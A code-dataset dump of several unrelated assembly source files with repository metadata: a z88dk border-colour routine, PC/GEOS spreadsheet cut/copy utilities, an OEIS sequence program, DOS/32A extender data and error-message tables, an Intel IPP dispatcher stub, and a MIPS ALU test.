f:00000 d: 0 | PASS 0x0064 (0x0000C8) 0x0000- f:00000 d: 0 | PASS 0x0065 (0x0000CA) 0x0000- f:00000 d: 0 | PASS 0x0066 (0x0000CC) 0x0000- f:00000 d: 0 | PASS 0x0067 (0x0000CE) 0x0000- f:00000 d: 0 | PASS
89.28
127
0.464494
dbccce4757a016afc7d640ca4d3ea7194c81cdc0
395
asm
Assembly
libsrc/stdio/tms9918/bordercolour.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
null
null
null
libsrc/stdio/tms9918/bordercolour.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
null
null
null
libsrc/stdio/tms9918/bordercolour.asm
Toysoft/z88dk
f930bef9ac4feeec91a07303b79ddd9071131a24
[ "ClArtistic" ]
1
2019-12-03T23:28:20.000Z
2019-12-03T23:28:20.000Z
; void bordercolor(int c) __z88dk_fastcall; ; ; SECTION code_clib IF FORspc1000 PUBLIC __tms9918_bordercolor ELSE PUBLIC bordercolor PUBLIC _bordercolor defc bordercolor = __tms9918_bordercolor defc _bordercolor = __tms9918_bordercolor ENDIF EXTERN conio_map_colour EXTERN msx_set_border __tms9918_bordercolor: ld a,l call conio_map_colour ld l,a jp msx_set_border
16.458333
43
0.794937
d4f1d8585d13004426c4814f49d903d7e9a24e5c
7,565
asm
Assembly
Library/Spreadsheet/Spreadsheet/spreadsheetCutCopyUtils.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Library/Spreadsheet/Spreadsheet/spreadsheetCutCopyUtils.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Library/Spreadsheet/Spreadsheet/spreadsheetCutCopyUtils.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1991 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: AUTHOR: Cheng, 6/91 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 6/91 Initial revision DESCRIPTION: Utility and error checking routines. $Id: spreadsheetCutCopyUtils.asm,v 1.1 97/04/07 11:14:39 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CutPasteCode segment COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CutCopyRedrawRange %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: CALLED BY: INTERNAL () PASS: ds:si - Spreadsheet instance RETURN: none DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 6/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CutCopyRedrawRange proc near uses ax, bx, cx, dx .enter EC < call ECCheckInstancePtr ;> call RecalcRowHeightsFar ; destroys ax,bx,cx,dx ; ; Recalculate the view's document size, update the UI, and ; redraw everything. ; We update the UI for: ; edit bar ; cell notes ; all cell attributes ; mov ax, SNFLAGS_ACTIVE_CELL_DATA_CHANGE or \ SNFLAGS_SELECTION_ATTRIBUTES_CHANGE call UpdateDocUIRedrawAll .leave ret CutCopyRedrawRange endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CutCopyGetCellSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: given CALLED BY: INTERNAL (CutCopySaveCell) PASS: al - CellType es:di - Cell... structure RETURN: ax - size of structure (=0 if empty) DESTROYED: REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 6/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CutCopyGetCellSize proc near uses si .enter clr ah mov si, ax EC < cmp si, size sizeRoutines > EC < ERROR_AE CUT_COPY_CELL_TYPE_UNKNOWN > call cs:sizeRoutines[si] .leave ret sizeRoutines nptr \ CutCopyTextCellGetSize, ;CT_TEXT CutCopyConstantCellGetSize, ;CT_CONSTANT CutCopyFormulaCellGetSize, ;CT_FORMULA CutCopyError, ;CT_NAME CutCopyError, ;CT_CHART CutCopyEmptySize, ;CT_EMPTY CutCopyFormulaCellGetSize ;CT_DISPLAY_FORMULA CheckHack <(size sizeRoutines) eq CellType> CutCopyGetCellSize endp ;;; ;;; Changes 3/25/93 -jw ;;; Added CutCopyError routine. It should not be possible to copy ;;; a NAME cell or a CHART cell, because they can't be selected. ;;; CutCopyError proc near EC < ERROR CELL_SHOULD_NOT_BE_A_NAME_CELL > NEC < ret > CutCopyError endp ;;; ;;; Changes 3/25/93 -jw ;;; Changed to return the actual size of an empty cell, rather than zero. ;;; CutCopyGetCellSize() is only called from CutCopySaveCell() and that ;;; code really does want to get the size of an empty cell because it ;;; really does want to copy these cells of type CT_EMPTY. ;;; CutCopyEmptySize proc near mov ax, size CellEmpty ret CutCopyEmptySize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CutCopyTextCellGetSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Returns string size (including C_NULL) so caller can memory duplicated us. CALLED BY: INTERNAL (CutCopySaveCell) PASS: es:di - CellText structure RETURN: ax - size including the null terminator DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 6/91 Initial version witt 11/93 DBCS-ized for DBCS "size" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CutCopyTextCellGetSize proc near uses bx,cx,di .enter ; ; figure size of structure ; mov bx, di ; save ptr to start of structure add di, size CellText ; di <- start of string SBCS< clr al > DBCS< clr ax > mov cx, 0ffffh LocalFindChar ; where does string end? sub di, bx ; di <- string size (incl NULL) mov ax, di .leave ret CutCopyTextCellGetSize endp CutCopyFormulaCellGetSize proc near .enter mov ax, size CellFormula add ax, es:[di].CF_formulaSize cmp es:[di].CF_return, RT_TEXT ; Check for text jne noText ; skip if no text add ax, es:[di].CF_current.RV_TEXT ; otherwise add text length noText: .leave ret CutCopyFormulaCellGetSize endp CutCopyConstantCellGetSize proc near .enter mov ax, size CellConstant .leave ret CutCopyConstantCellGetSize endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CutCopyVMAlloc %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Don't use any override. CALLED BY: INTERNAL () PASS: bx - vm file handle cx - size of block to allocate RETURN: ax - vm block handle DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if 0 CutCopyVMAlloc proc near .enter call VMAlloc ; ax <- VM block handle .leave ret CutCopyVMAlloc endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CutCopyVMLock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Doesn't mess with the BP register. CALLED BY: INTERNAL () PASS: bx - vm file handle ax - vm handle RETURN: es - seg addr of vm block cx - VM mem handle DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if 0 CutCopyVMLock proc near uses ax,bp .enter call VMLock mov cx, bp ; cx <- VM mem handle mov es, ax ; es <- seg addr .leave ret CutCopyVMLock endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CutCopyVMUnlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Doesn't mess with the BP register. CALLED BY: INTERNAL () PASS: cx - VM mem handle RETURN: nothing DESTROYED: nothing REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 5/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if 0 CutCopyVMUnlock proc near uses bp .enter mov bp, cx call VMUnlock .leave ret CutCopyVMUnlock endp endif CutPasteCode ends
21.738506
81
0.535096
8314084abbb4698c3da62d8e5aee18cff84d9bb4
321
asm
Assembly
programs/oeis/317/A317657.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/317/A317657.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/317/A317657.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A317657: Numbers congruent to {15, 75, 95} mod 100. ; 15,75,95,115,175,195,215,275,295,315,375,395,415,475,495,515,575,595,615,675,695,715,775,795,815,875,895,915,975,995,1015,1075,1095,1115,1175,1195,1215,1275,1295,1315,1375,1395,1415,1475,1495,1515 mov $1,$0 add $1,2 div $1,3 mul $1,2 add $1,$0 mul $1,20 add $1,15
29.181818
198
0.700935
4315e69bdbb771e3eae7af3abe1eef24a8f0ee05
13,491
asm
Assembly
src/dos32a/text/client/data.asm
amindlost/dos32a
06d8e3a0b2397d872205d6c99a7de0d6b8628bcc
[ "Unlicense" ]
5
2022-01-21T08:09:42.000Z
2022-03-17T10:15:55.000Z
src/dos32a/text/client/data.asm
amindlost/dos32a
06d8e3a0b2397d872205d6c99a7de0d6b8628bcc
[ "Unlicense" ]
null
null
null
src/dos32a/text/client/data.asm
amindlost/dos32a
06d8e3a0b2397d872205d6c99a7de0d6b8628bcc
[ "Unlicense" ]
1
2022-02-19T22:58:50.000Z
2022-02-19T22:58:50.000Z
; ; Copyright (C) 1996-2006 by Narech K. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are ; met: ; ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in the ; documentation and/or other materials provided with the distribution. ; ; 3. The end-user documentation included with the redistribution, if any, ; must include the following acknowledgment: ; ; "This product uses DOS/32 Advanced DOS Extender technology." ; ; Alternately, this acknowledgment may appear in the software itself, if ; and wherever such third-party acknowledgments normally appear. ; ; 4. Products derived from this software may not be called "DOS/32A" or ; "DOS/32 Advanced". ; ; THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS" AND ANY EXPRESSED ; OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE ; LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR ; CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF ; SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR ; BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR ; OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ; ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; ; ; table string /len/subroutine ;----------------------------------------------- Align 2 dfn_tab dw df1_str, 5, cfg_env_quiet dw df2_str, 5, cfg_env_print dw df3_str, 5, cfg_env_sound dw df4_str, 6, cfg_env_extmem dw df5_str, 6, cfg_env_dosbuf dw df6_str, 7, cfg_env_test dw df8_str, 7, cfg_env_restore dw df9_str, 5, cfg_env_nullp dw dfA_str, 7, cfg_env_verbose dw dfB_str, 6, cfg_env_nowarn dw dfC_str, 3, cfg_env_noc dw -1 ; table errcode, errstatus, errtab ;------------------------------------------ Align 2 g_errtab db 00h, 0 dw errtab_00xx db 10h, 0 dw errtab_10xx db 20h, 0 dw errtab_20xx db 30h, 0 dw errtab_30xx db 40h, 0 dw errtab_40xx db 60h, 2 dw errtab_60xx db 80h, 0 dw errtab_80xx db 90h, 1 dw errtab_90xx dw -1 h_errtab dw errmsg1, errmsg2, errmsg3 errtab_00xx dw d_err0, d_err1, d_err2, d_err3, d_err4 dw d_err5, d_err6, d_err7 errtab_10xx dw n_msg, m_err1, m_err2 errtab_20xx dw e_err0, e_err1, e_err2 errtab_30xx dw n_msg, a_err1, a_err2, a_err3, a_err4, a_err2, a_err4 errtab_40xx dw n_msg, l_err1, l_err2, l_err3, l_err4, l_err5, l_err6, l_err7 errtab_60xx dw r_msg80,n_msg, r_msg81,r_msg82,r_msg83,r_msg84 errtab_80xx dw n_msg, x_err1, x_err2, x_err3 errtab_90xx dw n_msg, w_msg1, w_msg2, w_msg3, w_msg4, w_msg5, w_msg6 i_msg dw i_msg00, i_msg01, i_msg02, i_msg03 dw i_msg04, i_msg05, i_msg06, i_msg07 dw i_msg08, i_msg09, i_msg0A, i_msg0B dw i_msg0C, i_msg0D, i_msg0E, n_msg ;============================================================================= Align 4 _misc_byte db 3 ; DOS/32A misc. bits ; +00 _misc_byte2 db 7 ; +01 _version dw 0 ; version ; +02 _cpu_type db 0 ; CPU type: 80x86 ; +04 _sys_type db 0 ; system type: raw/XMS/VCPI/DPMI ; +05 _sys_misc dw 0 ; system misc. bits ; +06 _buf_size dw 0 ; protected mode buffer size ; +08 ; _sys_misc map: ;---------------- ; bit 0: 0=no stub32c present, 1=program started from stub32c ; bit 8: 0=no CTRL-C, 1=CTRL-C detected (run-time) _pic_mask dw 0 ; PIC mask _err_code dw 0 _acc_rights dw 0 _mus_size dd 0 _mus_backoff dw 0 _mus_backseg dw 0 _mus_off dd 0 _mus_sel dd 0 _mus_data db 0,0 _seg_ds dw 0 ; real mode segment storage _seg_es dw 0 _seg_ss dw 0 _seg_env dw 0 _seg_buf dw 0 _seg_dta dw 0 _seg_mus dw 0 _seg_id32 dw 0 _seg_kernel dw 0 _sel_cs dw 0 ; protected mode selector storage _sel_ds dw 0 _sel_es dw 0 _sel_esp dd 0 _sel_ss dw 0 _sel_zero dw 0 ; ZERO_32 Data selector _sel_env dw 0 ; default environment selector _process_id dw 0 _sel32_cs dw 0,0 ; CODE_32 Code selector _sel32_ss dw 0,0 ; DATA_32 Data selector _membase dw 0 ; memory base after stk+int+buf _lowmembuf dw 0 ; size of DOS INT 21h buffer _lobufzero dd 0 _lobufbase dd 0 _lobufsize dd 0 _seg_ds_base dd 0 ; 32bit base of DS (CS) segment _dta_sel dw 0 _dta_off dd 0 _app_dta_sel dw 0 _app_dta_off dd 0 ;----------------------------------------------------------------------------- _int10_ip dd 0 ; default INT 10h handler _int10_cs dd 0 _int21_ip dd 0 ; default INT 21h handler _int21_cs dd 0 _int23_ip dd 0 ; default INT 23h handler _int23_cs dd 0 _int33_ip dd 0 ; default INT 33h handler _int33_cs dd 0 _exc_tab dd 16 * 2 dup(0) ;----------------------------------------------------------------------------- _exec_handle equ @area1_dw+00h ;dw 0 _exec_start equ @area1_dd+04h ;dd 0 _app_tmp_addr1 equ @area1_dd+08h ;dd 0 _app_tmp_addr2 equ @area1_dd+0Ch ;dd 0 _app_num_objects equ @area1_dd+10h ;dd 0 _app_off_objects equ @area1_dd+14h ;dd 0 _app_off_objpagetab equ @area1_dd+18h ;dd 0 _app_off_fixpagetab equ @area1_dd+1Ch ;dd 0 _app_off_fixrectab equ @area1_dd+20h ;dd 0 _app_off_datapages equ @area1_dd+24h ;dd 0 _app_off_pageshift equ @area1_dd+28h ;dd 0 _app_eip_object equ @area1_dd+2Ch ;dd 0 _app_esp_object equ @area1_dd+30h ;dd 0 _app_eip equ @area1_dd+34h ;dd 0 _app_esp equ @area1_dd+38h ;dd 0 _unreloc_eip equ @area1_dd+3Ch ;dd 0 _unreloc_esp equ @area1_dd+40h ;dd 0 _app_siz_fixrecstab equ @area1_dd+44h ;dd 0 _app_buf_fixrecstab equ @area1_dd+48h ;dd 0 _app_siz_lastpage equ @area1_dd+4Ch ;dd 0 _int_number equ @area1_db+50h ;db 0,0 _int_temp equ @area1_dw+52h ;dw 0 _int_errcode equ @area1_dd+54h ;dd 0 _int_esp equ @area1_dd+58h ;dd 0 _int_ss equ @area1_dd+5Ch ;dw 0 _int_erravail equ @area1_db+5Eh ;db 0 _app_type equ @area1_db+60h ;db 0 _app_load equ @area1_db+61h ;db 0 _mus_esp equ @area1_dd+64h ;dd 0 _mus_ss equ @area1_dw+68h ;dw 0 ; machine state ms_reg_cr0 equ @area1_dd+ 80h ;dd 0 ms_reg_cr2 equ @area1_dd+ 84h ;dd 0 ms_reg_cr3 equ @area1_dd+ 88h ;dd 0 ms_reg_dr6 equ @area1_dd+ 8Ch ;dd 0 ms_eflags equ @area1_dd+ 90h ;dd 0 ms_ec equ @area1_dd+ 94h ;dd 0 ms_frame_esp equ @area1_dd+0A0h ;dd 0 ; exception handler's stack frame: ESP ms_frame_ss equ @area1_dw+0A4h ;dw 0 ; exception handler's stack frame: SS ms_reg_ds equ @area1_dw+0A8h ;dw 0 ms_int equ @area1_dw+0ACh ;dw 0 ; INT # _app_buf_allocsel equ @area2_dw+00h ;dw 0 _app_buf_allocbase equ @area2_dd+APP_MAXOBJECTS*2 ;dd APP_MAXOBJECTS*2 dup(00h) ;----------------------------------------------------------------------------- n_msg db 0 cpr_msg db 'DOS/32A -- DOS Extender ' If EXEC_TYPE eq 2 db 'BETA ' EndIf db 'version ' ver_msg db 'x.x.x',cr db 'Copyright (C) 1996-2006 by Narech K.',cr cpr_end label byte errmsg1 db 'DOS/32A fatal (%w): ',0 errmsg2 db 'DOS/32A warning (%w): ',0 errmsg3 db 'DOS/32A run-time (%w): ',0 ;----------------------------------------------------------------------------- dos_str db 'DOS32A=' df1_str db 'QUIET' ; print =OFF, sound =OFF -- df2_str db 'PRINT' ; print (off=only errors reported) on/off df3_str db 'SOUND' ; sound on error on/off df4_str db 'EXTMEM' ; max Extended memory to alloc (KB) df5_str db 'DOSBUF' ; lowmembuf, DOS INT 21h buffer (KB) df6_str db 'DPMITST' ; test DPMI/VCPI or VCPI/DPMI on/off df8_str db 'RESTORE' ; restore int vector table on exit on/off df9_str db 'NULLP' ; install Null-Pointer protection on/off dfA_str db 'VERBOSE' ; use verbose mode on/off dfB_str db 'NOWARN' ; disable particular warning (NUM) dfC_str db 'NOC' ; disable copyright banner -- Align 4 @area1_db label byte @area1_dw label word @area1_dd label dword ; INIT errors 00xx ;============================================================================= d_err0 db 'this program requires DOS 4.0 or higher' ,0 d_err1 db '80386 processor or better required to run protected mode' ,0 d_err2 db 'system software does not follow VCPI/DPMI specifications' ,0 d_err3 db 'present DPMI host does not support 32bit applications' ,0 d_err4 db 'incompatible VCPI PIC mappings' ,0 d_err5 db 'could not enter 32bit protected mode' ,0 d_err6 db 'could not allocate system selectors' ,0 d_err7 db 'could not enable A20 line' ,0 ; MEMORY errors 10xx ;============================================================================= m_err1 db 'not enough DOS memory, additional %dKB needed' ,0 m_err2 db 'DOS reported insufficient memory' ,0 ; EXEC errors 20xx ;============================================================================= e_err0 db 'invalid environment' ,0 e_err1 db 'could not open exec file "%s"' ,0 e_err2 db 'error in exec file "%s"' ,0 ; APPLICATION errors 30xx ;============================================================================= a_err1 db 'could not open application file "%s"' ,0 a_err2 db 'error in application file "%s"' ,0 a_err3 db 'file "%s" does not contain any valid exec format' ,0 a_err4 db 'exec format not supported in file "%s"' ,0 ; LOADER errors 40xx ;============================================================================= l_err1 db 'too many objects in application exec "%s"' ,0 l_err2 db 'not enough DOS memory to load application exec "%s"' ,0 l_err3 db 'not enough extended memory to load application exec "%s"' ,0 l_err4 db 'not enough extended memory to load fixups for exec "%s"' ,0 l_err5 db 'unrecognized fixup data in application exec "%s"' ,0 l_err6 db '16bit fixup overflow in application exec "%s"' ,0 l_err7 db 'not enough DOS Transfer Buffer space to load LC-exec "%s"' ,0 ; MISC. errors 80xx ;============================================================================= x_err1 db 'syntax is DOS32A <execname.xxx>' ,0 x_err2 db 'DOS reported an error (#%wh)' ,0 x_err3 db 'DPMI host reported an error (#%wh)' ,0 ; WARNINGS 90xx ;============================================================================= w_msg1 db 'no extended memory has been allocated' ,0 w_msg2 db 'PICs have been relocated to INT %bh, INT %bh' ,0 w_msg3 db 'real mode interrupt vector has been modified: INT %bh' ,0 w_msg4 db 'mouse initialization failed' ,0 w_msg5 db 'object #%d contains no data or code' ,0 w_msg6 db 'incompatible version of DOS/32A already running' ,0 ; RUN-TIME errors 60xx ;============================================================================= r_msg80 db 'unknown error code (#%bh)' ,0 r_msg81 db 'out of real-mode virtual stacks' ,0 r_msg82 db 'out of protected-mode virtual stacks' ,0 r_msg83 db 'extended memory blocks have been corrupted (#%l)' ,0 r_msg84 db 'DOS/4G API calls not supported' ,0 ; Verbose messages ;============================================================================= v_msg01 db 'Processor: %d, System: %s, Memory: DOS=%dKB, DPMI=%d%s',cre v_msg02 db 'NONE',0, 'XMS',0,0, 'VCPI',0, 'DPMI',0 v_msg03 db 'LE',0,'LX',0,'LC',0,'PE',0 v_msg04 db 'KB',0 v_msg05 db 'MB',0 v_msg10 db 'Loading program "%s", %s-style',cre v_msg11 db 'Object #%d loaded at %l, V/Psize: %l/%l, Flags=%w, Sel=%w',cre v_msg12 db 'Startup CS:EIP=%w:%l, SS:ESP=%w:%l, %s EIP=%d:%l',cr db 'Memory left: DOS=%dKB, DPMI=%d%s. PSP_Sel=%w, Env_Sel=%w, Env_Seg=%w',cre ;============================================================================= excmsgE db 'exception',0 excmsgI db 'unexpected interrupt',0 excmsg1 db '%s %bh',cr db 'Identity: %s at %w:%l',cre excmsg2 db '%s crash address %d:%l',0 excmsg4 db ', error code pushed on stack %l',0 excmsgA db 'Linear',0 excmsgB db 'Unrelocated',0 excmsgC db 'Module name: "%s", ProcessId=%w',cre nulmsg0 db 'Null-pointer protection at %w:%l',cre dbgmsg1 db 'EFLAGS = %l [%l.%l] ',0 dbgmsg2 db 'CS:[EIP] = %b %b %b %b %b %b %b %b %b %b',0 dbgmsg4 db 'EAX = %l ESI = %l DR6 = %l SS:[ESP+00] = %l',cre dbgmsg5 db 'EBX = %l EDI = %l CR0 = %l SS:[ESP+04] = %l',cre dbgmsg6 db 'ECX = %l EBP = %l CR2 = %l SS:[ESP+08] = %l',cre dbgmsg7 db 'EDX = %l ESP = %l CR3 = %l SS:[ESP+0C] = %l',cre dbgmsgA db 'Invalid selector',0 dbgmsgB db 'NULL selector',0 selmsg1 db 'CS: = %w ',0 selmsg2 db 'DS: = %w ',0 selmsg3 db 'ES: = %w ',0 selmsg4 db 'SS: = %w ',0 selmsg5 db 'FS: = %w ',0 selmsg6 db 'GS: = %w ',0 selmsg0 db 'Base=%l Limit=%l Gr=%s Seg=%s/%dbit Type=%d Acc=%w',cre selmsg9 db 'BYTE',0,'PAGE',0 selmsg8 db 'DATA',0,'CODE',0 selmsgX db 'KERNEL=',0 selmsgY db 'CLIENT=',0 selmsgZ db 'APP/32=',0 selmsgW db 'APP/??=',0 i_msg00 db 'integer division by zero' ,0 i_msg01 db 'hardware breakpoint' ,0 i_msg02 db 'NMI' ,0 i_msg03 db 'software breakpoint' ,0 i_msg04 db 'overflow check fault' ,0 i_msg05 db 'bounds check fault' ,0 i_msg06 db 'invalid opcode fault' ,0 i_msg07 db 'coprocessor not available' ,0 i_msg08 db 'double fault' ,0 i_msg09 db 'coprocessor segment overrun' ,0 i_msg0A db 'invalid TSS fault' ,0 i_msg0B db 'segment not present fault' ,0 i_msg0C db 'stack fault' ,0 i_msg0D db 'general protection fault' ,0 i_msg0E db 'page fault' ,0
33.896985
79
0.641835
d2e64e52b56c222b9c3a4729876cf17bd12de97b
1,061
asm
Assembly
_build/dispatcher/jmp_ippsHashInit_rmf_92550b38.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
1
2021-10-04T10:21:54.000Z
2021-10-04T10:21:54.000Z
_build/dispatcher/jmp_ippsHashInit_rmf_92550b38.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
_build/dispatcher/jmp_ippsHashInit_rmf_92550b38.asm
zyktrcn/ippcp
b0bbe9bbb750a7cf4af5914dd8e6776a8d544466
[ "Apache-2.0" ]
null
null
null
extern m7_ippsHashInit_rmf:function extern n8_ippsHashInit_rmf:function extern y8_ippsHashInit_rmf:function extern e9_ippsHashInit_rmf:function extern l9_ippsHashInit_rmf:function extern n0_ippsHashInit_rmf:function extern k0_ippsHashInit_rmf:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsHashInit_rmf .Larraddr_ippsHashInit_rmf: dq m7_ippsHashInit_rmf dq n8_ippsHashInit_rmf dq y8_ippsHashInit_rmf dq e9_ippsHashInit_rmf dq l9_ippsHashInit_rmf dq n0_ippsHashInit_rmf dq k0_ippsHashInit_rmf segment .text global ippsHashInit_rmf:function (ippsHashInit_rmf.LEndippsHashInit_rmf - ippsHashInit_rmf) .Lin_ippsHashInit_rmf: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsHashInit_rmf: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsHashInit_rmf] mov r11, qword [r11+rax*8] jmp r11 .LEndippsHashInit_rmf:
27.205128
91
0.792648
524d3f7e4caa7ee9ccd8222b3499d40c0a08c724
548
asm
Assembly
test/alu.asm
sinofp/napalm
d06abf10d5dd8ec0ad35560a45b73c01323a9451
[ "MIT" ]
4
2020-10-10T06:47:44.000Z
2021-11-16T14:35:39.000Z
test/alu.asm
sinofp/napalm
d06abf10d5dd8ec0ad35560a45b73c01323a9451
[ "MIT" ]
null
null
null
test/alu.asm
sinofp/napalm
d06abf10d5dd8ec0ad35560a45b73c01323a9451
[ "MIT" ]
1
2021-03-08T11:49:07.000Z
2021-03-08T11:49:07.000Z
addiu $t0, $0, 1 addiu $t1, $0, 2 addiu $t2, $0, 1 addiu $t3, $0, 2 addiu $t4, $0, 123 addiu $t5, $0, 456 addiu $t6, $0, 789 addiu $t7, $0, 1111 addiu $t8, $0, 2222 addiu $t9, $0, 3333 sllv $t0, $t0, $t1 sub $t1, $t1, 1 addu $t2, $t2, $t3 and $t4, $t4, $t5 or $t6, $t6, $t7 sll $t8, $t8, 1 srlv $t0, $t0, $t1 slt $t2, $t2, $t3 sltu $t4, $t4, $t5 sra $t6, $t6, 1 srl $t7, $t7, 2 subu $t8, $t8, $t9 xor $t0, $t1, $t2 nor $t3, $t4, $t5 addi $t6, $t6, 123 andi $t7, $t7, 666 ori $t8, $t8, 987 slti $t1, $t2, 1000 sltiu $t3, $t4, 500 xori $t5, $t6, 999
17.677419
19
0.543796
